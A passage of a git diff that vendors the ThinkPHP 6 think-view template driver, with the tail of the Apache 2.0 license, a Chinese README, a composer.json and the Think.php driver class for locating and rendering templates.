"Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "{}" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright {yyyy} {name of copyright owner} + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/vendor/topthink/think-view/README.md b/vendor/topthink/think-view/README.md new file mode 100644 index 0000000..4e52def --- /dev/null +++ b/vendor/topthink/think-view/README.md @@ -0,0 +1,36 @@ +# think-view + +ThinkPHP6.0 Think-Template模板引擎驱动 + + +## 安装 + +~~~php +composer require topthink/think-view +~~~ + +## 用法示例 + +本扩展不能单独使用,依赖ThinkPHP6.0+ + +首先配置config目录下的template.php配置文件,然后可以按照下面的用法使用。 + +~~~php + +use think\facade\View; + +// 模板变量赋值和渲染输出 +View::assign(['name' => 'think']) + // 输出过滤 + ->filter(function($content){ + return str_replace('search', 'replace', $content); + }) + // 读取模板文件渲染输出 + ->fetch('index'); + + +// 或者使用助手函数 +view('index', ['name' => 'think']); +~~~ + +具体的模板引擎配置请参考think-template库。 \ No newline at end of file diff --git a/vendor/topthink/think-view/composer.json b/vendor/topthink/think-view/composer.json new file mode 100644 index 0000000..f4e6431 --- /dev/null +++ b/vendor/topthink/think-view/composer.json @@ -0,0 +1,20 @@ +{ + "name": "topthink/think-view", + "description": "thinkphp template driver", + "license": "Apache-2.0", + "authors": [ + { + "name": "liu21st", + "email": "liu21st@gmail.com" + } + ], + "require": { + "php": ">=7.1.0", + "topthink/think-template": "^2.0" + }, + "autoload": { + "psr-4": { + "think\\view\\driver\\": "src" + } + } +} diff --git a/vendor/topthink/think-view/src/Think.php b/vendor/topthink/think-view/src/Think.php new file mode 100644 index 0000000..562b54a --- /dev/null +++ b/vendor/topthink/think-view/src/Think.php @@ -0,0 +1,259 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\view\driver; + +use think\App; +use think\helper\Str; +use think\Template; +use think\template\exception\TemplateNotFoundException; + +class Think +{ + // 模板引擎实例 + private $template; + private $app; + + // 模板引擎参数 + protected $config = [ + // 默认模板渲染规则 1 解析为小写+下划线 2 全部转换小写 3 保持操作方法 + 'auto_rule' => 1, + // 视图目录名 + 'view_dir_name' => 'view', + // 模板起始路径 + 'view_path' => '', + // 模板文件后缀 + 'view_suffix' => 'html', + // 模板文件名分隔符 + 'view_depr' => DIRECTORY_SEPARATOR, + // 是否开启模板编译缓存,设为false则每次都会重新编译 + 'tpl_cache' => true, + ]; + + public function __construct(App $app, array $config = []) + { + $this->app = $app; + + $this->config = array_merge($this->config, (array) $config); + + if (empty($this->config['cache_path'])) { + $this->config['cache_path'] = $app->getRuntimePath() . 'temp' . DIRECTORY_SEPARATOR; + } + + $this->template = new Template($this->config); + $this->template->setCache($app->cache); + $this->template->extend('$Think', function (array $vars) { + $type = strtoupper(trim(array_shift($vars))); + $param = implode('.', $vars); + + switch ($type) { + case 'CONST': + $parseStr = strtoupper($param); + break; + case 'CONFIG': + $parseStr = 'config(\'' . $param . '\')'; + break; + case 'LANG': + $parseStr = 'lang(\'' . $param . '\')'; + break; + case 'NOW': + $parseStr = "date('Y-m-d g:i a',time())"; + break; + case 'LDELIM': + $parseStr = '\'' . ltrim($this->getConfig('tpl_begin'), '\\') . '\''; + break; + case 'RDELIM': + $parseStr = '\'' . ltrim($this->getConfig('tpl_end'), '\\') . '\''; + break; + default: + $parseStr = defined($type) ? $type : '\'\''; + } + + return $parseStr; + }); + + $this->template->extend('$Request', function (array $vars) { + // 获取Request请求对象参数 + $method = array_shift($vars); + if (!empty($vars)) { + $params = implode('.', $vars); + if ('true' != $params) { + $params = '\'' . $params . '\''; + } + } else { + $params = ''; + } + + return 'app(\'request\')->' . $method . '(' . $params . ')'; + }); + } + + /** + * 检测是否存在模板文件 + * @access public + * @param string $template 模板文件或者模板规则 + * @return bool + */ + public function exists(string $template): bool + { + if ('' == pathinfo($template, PATHINFO_EXTENSION)) { + // 获取模板文件名 + $template = $this->parseTemplate($template); + } + + return is_file($template); + } + + /** + * 渲染模板文件 + * @access public + * @param string $template 模板文件 + * @param array $data 模板变量 + * @return void + */ + public function fetch(string $template, array $data = []): void + { + if (empty($this->config['view_path'])) { + $view = $this->config['view_dir_name']; + + if (is_dir($this->app->getAppPath() . $view)) { + $path = $this->app->getAppPath() . $view . DIRECTORY_SEPARATOR; + } else { + $appName = $this->app->http->getName(); + $path = $this->app->getRootPath() . $view . DIRECTORY_SEPARATOR . ($appName ? $appName . DIRECTORY_SEPARATOR : ''); + } + + $this->config['view_path'] = $path; + $this->template->view_path = $path; + } + + if ('' == pathinfo($template, PATHINFO_EXTENSION)) { + // 获取模板文件名 + $template = $this->parseTemplate($template); + } + + // 模板不存在 抛出异常 + if (!is_file($template)) { + throw new TemplateNotFoundException('template not exists:' . $template, $template); + } + + $this->template->fetch($template, $data); + } + + /** + * 渲染模板内容 + * @access public + * @param string $template 模板内容 + * @param array $data 模板变量 + * @return void + */ + public function display(string $template, array $data = []): void + { + $this->template->display($template, $data); + } + + /** + * 自动定位模板文件 + * @access private + * @param string $template 模板文件规则 + * @return string + */ + private function parseTemplate(string $template): string + { + // 分析模板文件规则 + $request = $this->app['request']; + + // 获取视图根目录 + if (strpos($template, '@')) { + // 跨模块调用 + list($app, $template) = explode('@', $template); + } + + if (isset($app)) { + $view = $this->config['view_dir_name']; + $viewPath = $this->app->getBasePath() . $app . DIRECTORY_SEPARATOR . $view . DIRECTORY_SEPARATOR; + + if (is_dir($viewPath)) { + $path = $viewPath; + } else { + $path = $this->app->getRootPath() . $view . DIRECTORY_SEPARATOR . $app . DIRECTORY_SEPARATOR; + } + + $this->template->view_path = $path; + } else { + $path = $this->config['view_path']; + } + + $depr = $this->config['view_depr']; + + if (0 !== strpos($template, '/')) { + $template = str_replace(['/', ':'], $depr, $template); + $controller = $request->controller(); + + if (strpos($controller, '.')) { + $pos = strrpos($controller, '.'); + $controller = substr($controller, 0, $pos) . '.' . Str::snake(substr($controller, $pos + 1)); + } else { + $controller = Str::snake($controller); + } + + if ($controller) { + if ('' == $template) { + // 如果模板文件名为空 按照默认模板渲染规则定位 + if (2 == $this->config['auto_rule']) { + $template = $request->action(true); + } elseif (3 == $this->config['auto_rule']) { + $template = $request->action(); + } else { + $template = Str::snake($request->action()); + } + + $template = str_replace('.', DIRECTORY_SEPARATOR, $controller) . $depr . $template; + } elseif (false === strpos($template, $depr)) { + $template = str_replace('.', DIRECTORY_SEPARATOR, $controller) . $depr . $template; + } + } + } else { + $template = str_replace(['/', ':'], $depr, substr($template, 1)); + } + + return $path . ltrim($template, '/') . '.' . ltrim($this->config['view_suffix'], '.'); + } + + /** + * 配置模板引擎 + * @access private + * @param array $config 参数 + * @return void + */ + public function config(array $config): void + { + $this->template->config($config); + $this->config = array_merge($this->config, $config); + } + + /** + * 获取模板引擎配置 + * @access public + * @param string $name 参数名 + * @return void + */ + public function getConfig(string $name) + { + return $this->template->getConfig($name); + } + + public function __call($method, $params) + { + return call_user_func_array([$this->template, $method], $params); + } +} diff --git a/view/README.md b/view/README.md new file mode 100644 index 0000000..360eb24 --- /dev/null +++ b/view/README.md @@ -0,0 +1 @@ +如果不使用模板,可以删除该目录 \ No newline at end of file